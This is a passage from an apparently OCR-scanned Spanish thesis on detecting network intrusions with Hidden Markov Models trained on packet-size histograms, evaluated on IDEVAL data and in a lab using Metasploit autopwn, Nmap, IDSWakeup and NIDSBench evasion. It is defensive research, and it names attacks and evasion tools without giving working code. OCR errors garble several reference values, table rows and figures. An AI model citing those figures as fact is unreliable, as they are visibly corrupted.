insercion y borrado dependientes de la posicion, por lo que el alineamiento que se
consigue en cada clase con respecto a un modelo entrenado genera automaticamente
un alineamiento multiple entre todas las secuencias.
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4.1.6. ALFABETOS Y FORMATOS

Con el fin de realizar el entrenamiento de los Modelos Ocultos de Markov
correspondientes a cada clase definida en la seccion 4.1.2 se decidio utilizar el sistema
de Modelado y Alineamiento de Secuencias (SAM por sus siglas en ingles, Sequence
Alignment and Modeling System) de la Universidad de California®®, SAM es una
coleccion de herramientas de software disefiadas para crear, refinar, y usar Modelos
Ocultos de Markov lineales para el analisis de secuencias biolégicas, pero se han
modificado los datos de entrada de tal manera que sirva para alinear las secuencias de
tamanos de paquetes propuestas en la seccion 4.1.3.

El modelo generado es una secuencia lineal de nodos, cada uno de los cuales incluye
un estado de coincidencia, un estado insercion y un estado borrado, como los
mostrados en la seccién 4.1.5. Cada estado de coincidencia tiene una distribucion
sobre un alfabeto indicando cuales simbolos son los mas probables, de esta manera la
cadena de estados de coincidencia forma un modelo de la clase, el cual representa las
columnas de un alineamiento multiple de secuencias. Algunas secuencias pueden no
tener ningun simbolo en una posicion especifica, en esos lugares los estados de
borrado permiten al modelo “saltar” la columna sin usar ningun simbolo. Otras
secuencias pueden tener simbolos adicionales, los cuales son modelados con los
estados de insercidén. En este caso, todas las probabilidades de transicién son locales,
permitiendo, por ejemplo, que el sistema penalice fuertemente las secuencias que
borran regiones que representan fuertemente a una clase.

En primera instancia es necesario definir el alfabeto que sera usado para el modelo, de
manera particular SAM soporta una amplia gama de alfabetos de simbolos para ser
utilizados en los HMM lineales:

e Alfabetos de nucle6tidos (DNA y RNA)
e Alfabeto de aminoacidos (proteinas)
e Alfabetos de estructuras secundarias (DSSP, EHL, EHL2, etc.)

Adicional a los simbolos de cada alfabeto SAM requiere de un comodin, el cual
representa la ocurrencia de simbolos desconocidos en las secuencias. Al momento de
crear un modelo un comodin tiene una probabilidad 1, para que no tenga preferencia
entre estados, sin embargo durante el proceso de entrenamiento, la frecuencia de los
comodines es recalculada de acuerdo a las probabilidades relativas de las secuencias.

Para el modelo propuesto en este trabajo se usara un alfabeto definido especificamente
para ajustarse a los histogramas planteados en la seccion 4.1.5, de tal modo se decidio
usar valores numéricos discretos enteros de 0 a 100. Como el histograma representa un
valor porcentual se obtiene un alfabeto de 100 valores diferentes y adicionalmente el

% Disponible en http://compbio.soe.ucsc.edu/sam.html
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comodin, para una cantidad total de 101 valores posibles para cada uno de los 52
estados, 50 estados basicos definidos en el capitulo tal, mas los 2 de inicio y fin del
modelo.

COMODIN| x |
[ 100% | [ 100% | [100% |  [100%| [100%|  [100%|  [100%|  |100%

[99% | [99% | [90% | [99% | [99% | [99% | [99% | [90% |

98% | [98% | [98%| 98%| [98% | 8% | [98% | E3

e e ° ° ° ° ° ° °

5 o H H H H ° H H

g

A A A A A A A

INICIO

Estados

Figura 44. Modelo de Deteccion

De manera tal, cada una de las posiciones representadas en las columnas de estados
correspondera a un intervalo de tamafos de paquete (0-30bytes, 31-60bytes, 61-
90bytes, ..., 1471-1500bytes) y las observaciones posibles para cada estado seran los
porcentajes de caracteristicas medidas correspondientes a ese intervalo (0%, 1%, 2%,
ety 97%, 98% 99%, 100%) mas el comodin X (que como ya se dijo corresponde a una
observacion desconocida), de modo tal que la linealidad del modelo se conserva. Asi
pues el modelo esta definido como:

e S ={INICIO, "0-30",31-60",61-90", ...,1471-1500, FIN}, donde cada estado esta
compuesto por un estado de alineamiento M;, un estado de insercion I; y uno de
borrado D;, exceptuando los estados de inicio y fin

e V={01,23,..,100,101} , donde cada observacion corresponde al valor
cuantizado de la observacion.
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Ya definido el alfabeto, es necesario formatear las secuencias establecidas en la
seccion 4.1.4 para que puedan ser procesadas por SAM, por defecto la suite de
aplicaciones utiliza el formato FASTA, conocido también como formato Pearson, el cual
es un formato de texto que se usa para representar secuencias utilizando caracteres
alfanuméricos. Este formato también permite colocar nombres a las secuencias y
comentarlas cuando sean necesarias. La simplicidad del formato FASTA lo hace
facilmente manipulable por herramientas de procesado de texto y lenguajes de script
(para el desarrollo de la presente tesis se utilizé Perl para realizar el pre-procesamiento
y formateo de datos).

Segun esta definido en el Centro Nacional para Informacion de Biotecnologia NCBI®,
una secuencia en formato FASTA comienza con una descripcion en una linea sencilla,
seguida por lineas de datos de secuencias. La linea de descripcion se distingue por
comenzar con un simbolo de “mayor que” (>) en la primera columna, la palabra que
sigue al “>” es el identificador de la secuencias y el resto de la linea es la descripcion
(ambos son opcionales). La secuencias termina en el momento en que aparece otro
simbolo “>”, el cual indica el comienzo de otra secuencias, se recomienda que las
lineas sean de menos de 80 caracteres.

;Comentarios
>IDENTIFICADOR Descripcidén adicional
SECUENCIA

4.1.7. FILTRADO, PRE PROCESAMIENTO

Partiendo de las caracteristicas y la definicién de las clases definidos en las secciones
anteriores se realizé un filtrado de los datos de IDEVAL con el fin de agruparlos por
protocolo y poder realizar los entrenamientos para cada clasificador. El algoritmo
general es el siguiente:

Abra conjunto de trazas de trafico;
Mientras hayan trazas {
Lea paquete Ethernet;
Filtre paquete IP;
Construya palabras identificadoras;
Determine los protocolos capa 4;
Agrupe el paquete en conversaciones;
Almacene nueva conversacion;
Pase al siguiente paquete;
}Fin Mientras;

38 http://www.ncbi.nlm.nih.gov/blast/fasta.shtml
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El Algoritmo completo se puede encontrar en el Anexo A. Al terminar el proceso se
tienen tantos archivos como conversaciones entre equipos hayan existido en un dia de
registro, el archivo corresponde una lista de los tamafios de paquetes de la
conversacion. Para fabricar el alfabeto y el formato definidos en la seccion 4.1.6 se
realizé el célculo de los histogramas para cada secuencia almacenada en un archivo
separado por comas, de manera general se sigue el siguiente algoritmo:

Abra conversacion;
Cree histograma vacio;
Cree identificador de secuencia;
Calcule segmentos de tamafios;
Por cada registro de tamafo{
Calcule segmento al que pertenece;
Aumente valor del segmento _en uno;

}

Por cada dato histograma({
Normalice dato;
Almacene dato;

}

Almacenar histograma;

Este Algoritmo también se puede encontrar en el Anexo A. Al terminar de traducir todas
las secuencias se obtuvieron 6 archivos de secuencias correspondientes a cada clase
definida: HTTP, FTP Control, FTP Datos, Telnet, SMTP y X11. En cada uno de estos
archivos se almacenan los histogramas en formato FASTA para cada una de las
conversaciones y se les asignan identificadores en formato hexadecimal (que tienen
correspondencia con los equipos involucrados en la comunicacion), las observaciones
de cada estado, asi como la longitud del modelo corresponden a las definidas en la
seccion 4.1.5, el archivo se ve como el siguiente:

>[FTPCTRL]5E3E797
0 44 43 11 O

>[FTPCTRL] 5E3E7B5
0 59 30 8 1

>[FTPCTRL] 5E3E7C7
0 43 44 11 O

>[FTPCTRL] S5E3ET7EF
0 58 30 91

>[FTPCTRL] 5E3E7F9
0 57 31 81

65



4.1.8. ENTRENAMIENTO

La suite SAM cuenta con la aplicacion “buildmodel”, la cual sirve para entrenar los
modelos a partir de un conjunto de secuencias en formato FASTA y un conjunto de
parametros de inicializacion. Se entrenaron 11 modelos con conjuntos diferentes de
parametros con el fin de determinar el mejor modelo para cada una de las clases
escogidas en la seccién 4.1.2. Los pardmetros que se usaron para la escogencia
fueron:

e Numero de secuencias de entrenamiento: Se tomaron 1000 secuencias
diferentes por cada clase (ntrain = 1000).

e Método de entrenamiento: Se escogié un entrenamiento de Baum-Welch como
se definié en la seccion 3.3.3 basado en las frecuencias de aparicion de las
observaciones en las secuencias (Insert_method_train = 1).

e Tipo de alineamiento: Se seleccion6 un alineamiento global preliminar para, a
partir de este, entrenar el Modelo Oculto de Markov. Los algoritmos son los
definido en la seccion 3.4 (sw = 0).

e Criterio de parada: Se definid el criterio de ganancia entre iteraciones variando
su magnitud, de modo tal que cuando la ganancia no supera el valor dado, el
entrenamiento se detiene (stopcriterion = valor).

e Numero de cirugias: Se definié un umbral de 100 cirugias sobre el modelo. Una
cirugia es una depuracion del modelo en cada iteracion, donde se eliminan los
estados M que no son suficientemente usados, segun el criterio de cirugia, y se
insertan estados I donde existe un estado de insercion con exceso de
observaciones (nsurgery = 100).

e Criterio de cirugia: Se selecciond un porcentaje variable para determinar cuando
un estado M no esté suficientemente usado y ha de ser susceptible de cirugia
(mainline_cutoff = valor).

e Adicion de ruido: Se agreg6é ruido de caracteristicas lineales de varias
magnitudes al entrenamiento, esto con el fin de evitar la aparicibn de maximos
locales en el entrenamiento (initialnoise = variable), adicionalmente el ruido se
uso Unicamente durante las primeras 10 iteraciones en todos los modelos
(anneal_length = 10).

e Semillas de inicializacion: El entrenamiento requiere de 2 variables aleatorias
para su funcionamiento, “randseed” para la generacion de ruido y “trainseed”
para la escogencia de las secuencias de entrenamiento. Se forzo la inicializacién
de ambas con una semilla de valor cero.

e Alfabeto: Se utilizo el alfabeto definido en la seccion 4.1.6. (alphabetdef
“Numbers 101”).

Para realizar la comparacion se agruparon secuencias de cada clase y se operaron con
el modelo especifico de esa clase, con los resultados obtenidos se realizé un analisis
del numero de iteraciones usadas en entrenamiento versus la distancia del modelo a las
secuencias para varios valores de parametros de inicializacién, esto con el fin de
escoger los modelos que tengan la mejor relacion entre estas dos caracteristicas
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(menor numero de iteraciones con un valor bajo de distancia), para cada clase se
obtuvo lo siguiente:
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Figura 45. Nimero de Iteraciones usadas en Entrenamiento versus la Distancia del
Modelo a las Secuencias

Dando como resultado que los mejores modelos para cada clase y los comandos
necesarios para ejecutarlos, son los siguientes:

e FTP Control: Modelo 5

buildmodel modelo5 -train FTPCTRL.seq -ntrain 800 -randseed 0 -
trainseed 0 -Insert method train 1 -stopcriterion 0.0l -nsurgery 100
-sw 0 -initialnoise 1 -anneal length 10 -mainline cutoff 0.3 -
alphabetdef "Numbers 101"

e FTP Data: Modelo 5

buildmodel modelo5 -train FTPDATA.seq -ntrain 1000 -randseed 0 -
trainseed 0 -Insert method train 1 -stopcriterion 0.01 -nsurgery 100
-sw 0 -initialnoise 1 -anneal length 10 -mainline cutoff 0.3 -
alphabetdef "Numbers 101"

e HTTP: Modelo 10
buildmodel modelol0 -train HTTP.seq -ntrain 1000 -randseed 0 -
trainseed 0 -Insert method train 1 -stopcriterion 0.0001 -nsurgery

1000 -sw 0 -initialnoise 5 -anneal length 10 -mainline cutoff 0.2 -
alphabetdef "Numbers 101"

e SMTP: Modelo8

buildmodel modelo8 -train SMTP.seq -ntrain 800 -randseed 0 -
trainseed 0 -Insert method train 1 -stopcriterion 0.0001 -nsurgery
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100 -sw 0 -initialnoise 3 -anneal length 10 -mainline cutoff 0.3 -
alphabetdef "Numbers 101"

e Telnet: Modelo 6

buildmodel modelo6 -train Telnet.seq -ntrain 1000 -randseed 0 -
trainseed 0 -Insert method train 1 -stopcriterion 0.001 -nsurgery
100 -sw 0 -initialnoise 1 -anneal length 10 -mainline cutoff 0.3 -
alphabetdef "Numbers 101"

Ya escogidos los pardmetros se realiz6 el entrenamiento de los modelos para cada
clase con un conjunto de entrenamiento de 1000 secuencias sin ataques, las cuales
fueron seleccionadas del trafico especificado en la seccion 4.1.1. Al finalizar se tienen 5
modelos diferentes especificados a partir de las probabilidades de transicion A y las de
emisién B. Los archivos de los resultados del entrenamiento se pueden consultar en el
Anexo D.

Aunque en la seccion 4.1.2 se habian escogido las clases sobre las que se iban a
trabajar, teniendo en cuenta el porcentaje de aparicion de cada protocolo en las trazas
de IDEVAL 1998, al momento de realizar el entrenamiento se decidié descartar por
completo las secuencias correspondientes a X11, pues, aunque en el trafico mostraban
un gran porcentaje de aparicion, una revision de las secuencias procesadas arrojé que
todo el trafico correspondia Unicamente a 3 conversaciones diferentes, lo que no era
conveniente para realizar el entrenamiento ni las pruebas posteriores.

4.1.9. ALINEAMIENTO

Para realizar los alineamientos, la suite SAM cuenta con el aplicativo “hmmscore”, el
cual compara cada secuencia de prueba con el modelo dado, calculando la probabilidad
de que la secuencia fuese generada efectivamente por ese modelo, como se define en
la seccion 3.4.2. La secuencia a evaluar es alineada contra el modelo para determinar
si pertenece a la clase especifica del modelo, en este caso se usa el algoritmo de
Viterbi (revisado en la seccion 0) para determinar el mejor alineamiento, o sea, el que
maximice la cantidad de estados M en el alineamiento de secuencias. El aplicativo
requiere como parametros los siguientes:

e EIl modelo a utilizar, el cual fue entrenado segun los parametros del capitulo
anterior (i = archivo del modelo).

e EIl conjunto de secuencias de prueba, las cuales van a ser comparadas con el
modelo a fin de determinar la probabilidad de generacion (db = archivo de
secuencias).

e El tipo de alineamiento a usar, en este caso, el mismo del entrenamiento:
alineamiento global (sw = 0).

Adicionalmente se deben recalibrar los valores 7 y 4 del célculo de los E-Values (que se
llamaran también distancia a lo largo de este capitulo) con respecto a las secuencias de
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prueba (calibrate = 1), por ultimo se utilizé el algoritmo de Viterbi para encontrar el
alineamiento que maximizar el puntaje de la secuencia con respecto al modelo (viterbi =
1). Asi pues, el entrenamiento se realizo de la siguiente manera:

hmmscore PUNTAJE -i MODELO.mod -db SECUENCIAS.seq -sw 2 -
calibrate 1 -viterbi 1

Al final el archivo PUNTAJE muestra las distancias (E-Values) de las SECUENCIAS al
MODELO, entre mas pequefio el E-Values la secuencia tiene una probabilidad mas alta
de ser generada por el modelo. Los archivos de puntuacion de los modelos para todas
las secuencias se pueden consultar en el Anexo E.

Este mismo proceso se realiza para cada uno de los modelos entrenados (FTP Control,
FTP Data, HTTP, SMTP y Telnet), dando como resultado 5 E-Values de cada una de
las secuencias, uno para cada modelo con que fue comparada, de la siguiente manera:

DISTANCIAS
Secuencias
valorl valor2 valor3 valor4 valor5
valor6 valor?7 valor8 valor9 valorl0

Tabla 1. Puntajes (Distancias) de Secuencias

4.1.10. PUNTAJE DE DETECCION DE INTRUSOS

Para realizar el proceso de deteccion es necesario tener un E-Value de referencia para
cada una de las clases, de modo tal que se puedan clasificar las conversaciones
nuevas en alguna de las clases o se pueda rechazar por no pertenecer a ninguna de
ellas (un ataque). Para tal fin se alinearon conjuntos de 1000 secuencias de cada clase
usando el modelo respectivo de la misma clase (secuencias de FTP Control con el
modelo FTP Control, secuencias de FTP Data con el modelo FTP Data, etc.), de tal
modo que se tienen puntajes de secuencias que son efectivamente generadas por el
modelo, lo cual brinda un criterio para la seleccion de un valor de referencia para la
deteccion de anomalias, al final se obtuvo como resultado 5 archivos de 1000 valores
de distancia cada uno.

De este proceso se seleccionaron los valores correspondientes al promedio de
distancias para todo el conjunto de secuencias de cada clase, de modo tal que cada
valor sera usado como distancia de referencia Dgererencia Para realizar la clasificacion

de todas las secuencias.
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DISTANCIAS
Secuencias

Valor FTPCTRL

Valor FTPData

Valor HTTP

Valor SMTP

Valor Telnet

Tabla 2. Distancias de Referencia

De este modo se obtendran 5 valores de referencia:

Y Valor FTPCTRL
DReferencia(FTPCTRL) = 00
Y. Valor FTPData
DReferencia(FTPData) = 500
Y. Valor HTTP
DRefEFencia (HTTP) = 1000
Y. Valor SMTP
DRefErencia (SMTP) = 1000
Y Valor Telnet
DReferencia(Telnet) = 000

A partir de este conjunto de E-Values de referencia el proceso de deteccién para una
secuencia nueva sigue los siguientes pasos:

1. Calcular los valores de distancia de la secuencia nueva con respecto a todos los
modelos entrenados:

Dyyevo (Mmodelo;).

2. Escoger el valor de distancia minima y el modelo correspondiente a esa distancia
a partir de todos los valores obtenidos de la secuencia nueva en el paso anterior:

Dy = arg min D,,,.,,, (modelo;)
2

Modelo = min D,,.,,, (Mmodelo;)
l
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3. Calcular el error relativo entre la distancia de referencia y la distancia minima de
la secuencia nueva para el modelo obtenido en el paso anterior:

|DN - DReferencia (])l

ER = -
DReferencia (])

V(j = Modelo)

4. Comparar el error relativo ER con un umbral de tolerancia dado d, si el error
supera la tolerancia, la secuencia nueva es un ataque. De lo contrario, la
secuencia nueva pertenece a la clase definida por Modelo en el paso 2. Cabe
sefalar que tanto ER como d representan un valor porcentual, de modo tal que la
mayor cantidad de andlisis se realiza cuando el valor esta entre 0 y 1, aunque
valores mayores (correspondientes a errores muy grandes) pueden arrojar
resultados interesantes.

El valor de tolerancia d puede ser cambiado para aumentar o disminuir el umbral de
detecciéon del modelo propuesto.

4.2. APLICACION DEL MODELO

Ya definido el conjunto de clases para clasificacion, las caracteristicas, el modelo
conceptual de alineamiento, el conjunto de estados, la longitud del modelo, el alfabeto a
usar y habiendo probado las caracteristicas y realizado el pre-procesamiento, filtrado y
entrenamiento de los modelos, se procedio a realizar las pruebas del modelo a partir de
3 escenarios diferentes: Un escenario de trafico normal sin ataques a partir de datos de
IDEVAL, un escenario de ataques a partir de datos de IDEVAL y un laboratorio de
experimentacion con un conjunto de herramientas modernas, los resultados de la
aplicacion se muestran a continuacion.

4.2.1. TRAFICO NORMAL

Como primera prueba se selecciond otro conjunto de trafico generado por el grupo de
IST del Laboratorio Lincoln del MIT, también bajo el auspicio de DARPA, el IDEVAL
1999. Este trafico fue colectado de una topologia de red mucho méas grande que el
IDEVAL 1998 usado en el entrenamiento. La topologia consta de dos subredes
separadas por un enrutador, una de las subredes tiene asociado un conjunto de
atacantes que simulan ser atacantes internos de la red (conectados a Hobbes). La otra
subred tiene asociado un conjunto de atacantes que representan ataques externos
(conectados a Calvin). Plato, Pascal, Locke y Zeno siguen la configuracién dada en
IDEVAL 1998, segun se citd en la seccion 4.1.1, y se agregan otros equipos con
diferentes sistemas operativos que simulan servicios dentro de la red, tal como se ve en
la Figura 46.
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El objetivo de la prueba fue determinar la capacidad del modelo para detectar trafico
normal y clasificarlo, de tal modo se decidié utilizar el tréfico generado sin ataques y
procesarlo usando la misma metodologia explicada en la seccion 4.1.7.

Plato

5
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Cisco 2514

192.168.1.1

Aesop Cajvin Solomon Monitor Locke Holgbes Pascal Zeno Marx Hl_Jme K_ant
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Figura 46. Arquitectura de Laboratorio de Pruebas 1, IDEVAL 1999, Richard Lippman, MIT
Lincoln Laboratory

Del trafico procesado se seleccion6 de manera aleatoria una muestra de 500
secuencias, 100 para cada clase especificada en el entrenamiento y se realizo el
proceso de alineamiento y puntuacién de deteccion, lo que arrojo los siguientes
resultados:

Porcentajes de clasificacion
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Figura 47. Porcentajes de Clasificacion
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Como se puede observar, el porcentaje de deteccidon no tiene una relacion lineal con
umbral, el modelo tiene un indice de deteccion muy bajo hasta un umbral cercano a 0,8,
sin embargo en el intervalo de 0,8 y 1 los indices de deteccion mejoran notablemente.
Cabe hacer especial énfasis en los niveles de clasificacion mostrados para las clases
Telnet, SMTP y HTTP que superan el 75% de clasificacion correcta, lo que demuestra
la efectividad del modelo para detectar trafico conocido.

Los niveles de clasificacion FTP Control y FTP Datos son cercanos al 50%, un valor
bastante modesto, sin embargo este comportamiento se explica en la medida que
mucho del trafico de FTP Control tiene un comportamiento en frecuencias de aparicion
de paquetes muy similar a SMTP, por su parte FTP Datos es muy similar a HTTP, esto
se puede corroborar al revisar las matrices de confusién®’ para un umbral de 0, de 0.3,
de 0.7 y de 1, las cuales ejemplifican la variacion numérica en la deteccion (umbrales
superiores a 1 no tienen efecto en los indices de deteccion):

MATRIZ DE CONFUSION Umbral D=0

TOTAL
0 0 0 0 0 100 100
0 0 0 0 0 100 100
0 0 0 0 0 100 100
0 0 0 0 0 100 100
0 0 0 0 0 100 100

Tabla 3. Matriz de Confusién con Umbral D =0

MATRIZ DE CONFUSION Umbral D=0,3

TOTAL
0 0 0 1 0 99 100
0 7 0 0 1 92 100
0 0 2 0 0 98 100
0 0 0 0 0 100 100
0 0 0 0 4 96 100

Tabla 4. Matriz de Confusién con Umbral D = 0,3

% Una matriz de confusién es una herramienta utilizada en entrenamiento supervisado, cada fila
representa los datos de una clase en particular, mientras que cada columna representa los datos que el
modelo ha predicho, de modo tal que se puede realizar un andlisis sobre las predicciones erréneas y las
acertadas.
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MATRIZ DE CONFUSION

Umbral D=0,7

TOTAL
0 0 1 4 3 99 100
0 23 2 0 2 92 100
0 4 8 0 1 98 100
0 0 0 0 0 100 100
0 0 0 0 12 96 100

Tabla 5. Matriz de Confusiéon con Umbral D = 0,7

MATRIZ DE CONFUSION Umbral D=1

TOTAL
49 0 1 46 3 1 100
0 58 26 0 12 4 100
0 13 78 0 2 7 100
0 0 0 100 0 0 100
0 0 6 0 85 9 100

Tabla 6. Matriz de Confusién con Umbral D =1

Es claro que la clasificacion de secuencias en las clases mejora a medida que el umbral
aumenta de valor. En este caso el mejor indice de clasificacion lo presenta SMTP con
un 100% correcto, seguido de Telnet y HTTP con indices de clasificacion aceptables
(85% y 78%, respectivamente). La deteccion, adicionalmente, arroja que un total de 21
secuencias no pudieron ser clasificadas correctamente, las que corresponden al 1% de
FTP Control, 4% de FTP Data, 7% de HTTP y un 9% de Telnet.

El umbral utilizado se escogié pensando en mostrar informacion detallada para valores
de error entre 0 y 1, luego se utilizaron unidades para contemplar aguellos umbrales
que representan errores de magnitudes muy grandes. Cabe mencionar que dada la
férmula no tiene sentido usar umbrales negativos, y que dados los resultados un umbral
superior al maximo usado no representa ningun dato significativo sobre los resultados.

4.2.2. TRAFICO CON ATAQUES DE IDEVAL

La segunda prueba buscé determinar la capacidad del modelo de deteccién para
identificar efectivamente los ataques presentes en la red, para tal fin se filtraron y se
seleccionaron los ataques presentes en el trafico de IDEVAL 1998 e IDEVAL 1999, se
mezclaron junto con las secuencias de trafico sin atagues seleccionadas de IDEVAL
1999, seleccionadas del mismo modo que en la seccion 4.1.1. El conjunto completo se
procesé usando la metodologia dada en la seccion 4.1.7 y se seleccionaron de manera
aleatoria 1500 secuencias diferentes, 1000 ataques de distinta tipologia y 500
secuencias normales, 100 para cada clase. Entre los ataques seleccionados se
incluyeron ataques de sondeo de red y ataques de negacion de servicio que siguen la
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filosofia de los ataques mostrados en la seccidn 2.3 pero que difieren en el método. Los
ataques usados fueron:

e Ataques de sondeo

o Ataque IPSweep

o Ataque Nmap

o Ataque PortSweep

o Ataque SATAN
e Ataques de negacion de servicio

o Ataque Land
Ataque Neptuno
Ataque Teardrop
Ataque Smurf
Ataque Syslog
Ataque PoD

O O O O O

Adicionalmente se agregaron un conjunto de ataques sobre diferentes aplicativos con el
fin de determinar el grado de deteccion que se podria brindar en capas superiores de la
pila de protocolo IP, entre los ataques se encuentran: Ataques de navegacion
transversal a servidores Apache; atagues de adivinacion de contrasefas;
desbordamientos de buffer en Solaris, UNIX y en el servicio IMAP; ataques de
escalamiento de privilegios y de instalacion de software ilegal.

El conjunto de resultados fue procesado y se generaron matrices de confusién con el fin
de determinar el porcentaje de deteccidn efectiva de ataques en el modelo. La gréfica
resultado es la siguiente:
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Figura 48. Porcentaje de Deteccién para diferentes Umbrales para Pruebas IDEVAL

Como se puede observar, la deteccidbn de ataques presenta un comportamiento
contrario a la clasificacion de secuencias, para los valores de umbral comprendidos
entre 0 y 1 la deteccion es cercana al 100% de los ataques, cuando el umbral llega a la
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unidad el modelo presenta una reduccion leve de su capacidad de deteccion hasta
cerca del 90%, punto que coincide con la pérdida total de capacidad de clasificacion
segun se vio en la seccion 4.2.1. A partir de un umbral unitario el modelo pierde
levemente la capacidad de deteccion hasta cerca del 80%, correspondiente a un umbral
de 8, en donde pierde bruscamente la capacidad de deteccion.

A partir de las matrices de confusion se obtuvieron las tablas de confusion, donde se
calcularon la cantidad de Falsos Positivos, Falsos Negativos, Verdaderos Positivos y
Verdaderos Negativos correspondientes al rango de valores del umbral, el proceso
arrojo los siguientes resultados:

UMBRAL
1000 0 500
1000 0 495
996 4 493
994 6 485 15
992 8 479 21
992 8 472 28
989 21 453 47
988 12 440 60
982 18 409 91
978 22 377 123
971 29 333 167
938 62 198 302
899 101 21 479
877 123 15 485
870 130 15 485
868 132 10 490
857 143 8 492
855 145 8 492
855 145 7 493
854 146 7 493
20 980 7 493
20 980 7 493

Tabla 7. Resumen de Tablas de Confusién para los Umbrales seleccionados para las
Pruebas de IDEVAL
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Figura 49. Relacion de Falsos Positivos y Falsos Negativos para Pruebas IDEVAL

Como se puede observar, el modelo presenta unas curvas muy pronunciadas de falsos
positivos y de falsos negativos. Un exceso de falsos negativos corresponde a un exceso
de clasificacién donde el modelo etiqueta trafico normal como si fuesen ataques, por
otro lado, un exceso de falsos positivos corresponde a un modelo que clasifica ataques
como si fuese trafico normal, el punto 6ptimo de deteccién debe asegurar que haya un
equilibrio entre ambas curvas, graficamente corresponde al cruce de ambas curvas. Si
el umbral se desplaza hacia valores mayores al punto de corte el modelo empezara a
clasificar trafico normal como ataques, mientras que si se desplaza hacia valores
menores, el modelo clasificara ataques como trafico normal.

A partir de la tabla de confusién se puede determinar que el valor éptimo de deteccion
corresponde a un valor de umbral cercano a 1, valor que, como ya se vio, maximiza la
clasificacion de trafico conocido y tiene un nivel cercano al 90% de deteccion de
ataques. La matriz de confusién correspondiente a ese umbral es:

MATRIZ DE CONFUSION

TOTAL
49 0 1 46 3 1 100
0 58 26 0 12 4 100
0 13 78 0 2 7 100
0 0 0 100 0 0 100
0 0 6 0 85 9 100
9 18 4 19 51 899 1000

Tabla 8. Matriz de Confusion para Pruebas IDEVAL
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Se puede comprobar que aunque el nivel de deteccion de ataques es del 89.9%, la
cantidad de trafico normal que es clasificado como ataques, y que seria descartado, no
supera las 21 secuencias, correspondientes al 4.2% del total de trafico normal. En este
panorama los protocolos con mayor cantidad de clasificaciones erradas de ataque
serian Telnet, con un 9%, HTTP con el 7% y FTP Data con el 4%. Es un caso especial
que SMTP no se vea afectado y ademas muestre un porcentaje de clasificacion
correcta del 100%.

4.2.3. TRAFICO CON ATAQUES DE LABORATORIO

La tercera prueba se realiz6 con el fin de determinar la capacidad de deteccion del
modelo cuando los ataques son generados con herramientas recientes, en
configuraciones de equipos modernas. Para tal fin se configuré un laboratorio de prueba
donde se colocaron 2 equipos victimas, uno con Linux Ubuntu 9.04 y un Microsoft
Windows Vista Home Premiun Service Pack 1 de 32 bits. Se configuré un equipo Linux
Ubuntu como sensor para el IDS y un equipo atacante basado en Linux, los equipos
victimas tenian conectividad a internet a través de un Cable Modem.

CableModem Router
Scientific Atlanta TrendNet

192.168.100.100 192.168.10.101

Atacante
Linux

(=Y
7,
(=

\

S S S
Victima 1 Victima 2 Monitor

Linux Windows Vista Linux
192.168.10.101 192.168.10.102 192.168.10.103

Figura 50. Configuracion Fisica del Laboratorio de Pruebas

El trafico de ataques utilizado se generé a partir de herramientas para estimulacién de
IDS, para pruebas de penetracion, sondeo avanzado de redes e investigacion de
ataques, las herramientas fueron:
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IDSWakeup *®: Es una coleccién de herramientas para probar sistemas de
deteccion de intrusos de red, su funcionamiento radica en la generacion de
ataques falsos con el fin de determinar si son detectados y que tasa de falsos
positivos se genera. Los ataques usados contienen los siguientes ataques de
negacion de servicio:

Ataque Land

Ataque Teardrop
Ataque Syndrop
Ataque PoD

Ataque NewTeardrop
Ataque DDoS
Ataque Chargen
Ataque Syslog

O O O O O O O O

Del mismo modo, IDSWakeup agrega ataques sobre aplicativos, entre los
ataques se encuentran: Ataques de navegacion transversal a servidores web
geneéricos; ataques sobre implementaciones de SMB, SMTP, Telnet, X11, FTP e
ICMP; y ataques de escalamiento de privilegios en servicios como Finger.

NIDSBench®: Es un set de herramientas de evasién para la prueba de sistemas
de deteccion de intrusos de red, estd enfocado en probar el desempefio y la
capacidad de deteccion mediante 2 medidas: la repeticion de trafico normal de
red entre los ataques buscando ocultarlos (‘tcpreplay’) y la fragmentacién de
ataques en diferentes paquetes (‘fragrouter’), para determinar las capacidades
del IDS de reconstruir ataques. Para su uso es necesario que otra herramienta
genere los ataques y que el trafico normal sea introducido a partir de capturas de
trafico real, asi pues los ataques se generaron con IDSWakeup y el trafico real
corresponde al trafico capturado y procesado de IDEVAL 1999.

Metasploit*’: Es un marco de desarrollo desarrollado para proveer informacion
para desarrolladores de ataques y profesionales de la seguridad de la
informacion, tiene herramientas para realizar pruebas de penetracion, pruebas
de IDS e investigacién en ataques. EL marco esta concebido con el fin de
automatizar las tareas de ataque por medio de la herramienta ‘autopwn’ y cuenta
con una base de datos de 406 ataques diferentes tanto para labores de sondeo
de red, como para realizar negaciones de servicio y ataques directos a
aplicativos.

% IDSWakeup esta disponible en http://www.hsc.fr/ressources/outils/idswakeup /index.html.en.
% NIDSBench esta disponible en http:/packetstormsecurity.nl/UNIX/IDS/nidsbench/nidsbench.html
“© Metasploit esta disponible en http:/metasploit.com/
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e Nmap*: Es una herramienta para exploracién de redes y auditorias de
seguridad. Suele ser usada para realizar inventarios de equipos de red,
comprobacion de versiones de aplicativos y monitoreo de redes. Esta disefiada
para escanear redes grandes y realizar sondeos con el fin de determinar puertos
abiertos, servicios instalados, versiones de sistemas operativos y descubrimiento
de equipos, ademas provee facilidades para fragmentar los sondeos, utilizar
redes zombies para realizar sondeos distribuidos y construir paguetes con una
combinacion arbitraria de banderas.

Usando las 4 herramientas se hicieron pruebas para las dos maquinas victimas, de este
modo se generaron 7 tipos de ataques diferentes:

Ataques realizados con IDSWakeup.

Ataques realizados con IDSWakeup fragmentados uniformemente.
Ataques realizados con IDSWakeup fragmentados y de tamafios variables.
Ataque AutoPwn a la victima Linux.

Ataque AutoPwn a la victima Windows.

Sondeos de Sistemas operativos.

Sondeos de red y servicios.

Todos los ataques se hicieron tanto en forma normal como operados con NIDSbench
buscando darles caracteristicas de evasion de IDS. Para ver el uso y capturas de los
ataques puede referirse al Anexo F.

Del conjunto de datos capturados y procesados se encontré la siguiente gréafica de
porcentaje de deteccidn de ataques:
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Figura 51. Porcentaje de Deteccidén para diferentes Umbrales para Pruebas de
Laboratorio

* Nmap esta disponible en http://nmap.org/
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Como se puede observar, la capacidad de deteccion del modelo no varia
sustancialmente respecto a la encontrada en la seccion 4.2.2, para umbrales menores a
1 la deteccion de ataques es de casi el 100%. Es particular encontrar que a pesar de
realizar esta prueba con herramientas modernas, no se vislumbra el decremento de
deteccion de casi 10% cuando el umbral es cercano a la unidad, es probable que éste
haya sido inducido por las caracteristicas de los ataques de aplicacion que se
